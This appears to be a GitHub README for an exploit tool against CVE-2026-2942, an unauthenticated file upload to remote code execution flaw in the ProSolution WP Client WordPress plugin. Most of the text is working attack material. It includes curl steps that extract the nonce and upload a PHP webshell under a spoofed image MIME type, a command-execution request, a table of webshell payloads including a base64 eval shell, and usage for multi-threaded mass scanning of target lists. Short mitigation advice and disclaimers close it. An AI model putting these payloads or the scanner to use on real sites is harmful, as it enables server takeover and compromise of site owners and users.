
Automated scanner for unauthenticated arbitrary file upload and remote code execution in ProSolution WP Client (CVE-2026-2942). Supports multi-threaded scanning, MIME spoofing, shell verification, and proxy support for penetration testing.
Plugin: prosolution-wp-client
Affected Version: <= 1.9.9
Vulnerability Type: Unauthenticated Arbitrary File Upload → Remote Code Execution
Risk Level: 🔴 Critical (CVSS 9.8)
Requirement: Public page containing[prosolfrontend]shortcode
The proSol_fileUploadProcess AJAX action of the ProSolution WP Client plugin
checks the MIME type of uploaded files but does not validate the extension.
An attacker can send a file with a .php extension using the image/jpeg MIME type
to upload a webshell to the server without authentication.
[prosolfrontend] shortcode page
│
▼
1. prosolObj.nonce → extracted from public page (no authentication required)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. Saved as /wp-content/uploads/prosolwpclient/[random].php
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.
prosolution-wp-client plugin active (version <= 1.9.9)[prosolfrontend] shortcodeVisit any public page containing the [prosolfrontend] shortcode
and extract the prosolObj.nonce value from the source code:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
Structure to search for in the source code:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Send the .php file with image/jpeg Content-Type:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
Expected response:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"and"rename_status": true→.phpfile was successfully saved.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # newfilename from Step 3
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ Unauthenticated RCE achieved.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://target.com
python prosol_upload.py -u http://target.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o results.txt
python prosol_upload.py -u http://target.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://target.com --shell-type full
| Parameter | Short | Description | Default |
|---|---|---|---|
--url | -u | Single target URL | — |
--list | -l | Target list file | — |
--threads | -t | Number of threads | 10 |
--output | -o | Output file | uploaded.txt |
--shell-name | — | File name to upload | shell.php |
--shell-type | — | Shell type | system |
--verify | — | RCE test after upload | False |
--verify-cmd | — | Verification command | id |
--proxy | — | Proxy URL | — |
--timeout | — | Request timeout (seconds) | 10 |
| Type | Payload | Description |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Basic system command |
passthru | <?php passthru($_GET["cmd"]); ?> | Raw output |
exec | <?php echo exec($_GET["cmd"]); ?> | Silent execution |
assert | <?php assert($_POST["cmd"]); ?> | POST eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 obfuscation |
full | shell_exec + system + exec fallback | Full-featured shell |
WordPress Root/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell here
| Status | Description |
|---|---|
★ UPLOADED | Shell successfully uploaded |
✓ RCE OK | Shell verified, command executed |
- BLOCKED | Server blocked PHP extension |
~ TIMEOUT | Connection timeout |
~ CONN_ERR | Connection error |
! HTTP_ERR | HTTP error code |
[*] 3 targets | ProSolution File Upload | threads=10
[★ UPLOADED ] http://target1.com
Shell URL : http://target1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
New Name : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd output: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://target2.com ext=jpeg
[~ TIMEOUT ] http://target3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Uploaded shells → uploaded.txt
───────────────────────────────────────────────
| Measure | Implementation |
|---|---|
| Block PHP execution | Add .htaccess to uploads/ directory |
| Plugin update | Upgrade to version > 1.9.9 or remove it |
| Extension whitelist | Allow only permitted extensions server-side |
| MIME validation | Use finfo_file() to check actual content |
| WAF rule | Block .php upload requests |
.htaccess for the uploads/ directory:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
This tool and PoC are prepared solely for use on authorized systems, for educational purposes, and within the scope of penetration testing.
Unauthorized use on systems you do not own is considered a crime under the Turkish Penal Code Articles 243-245 and international cybercrime laws.
The developer accepts no legal liability arising from the misuse of this tool.
MIT License — For educational and research purposes only.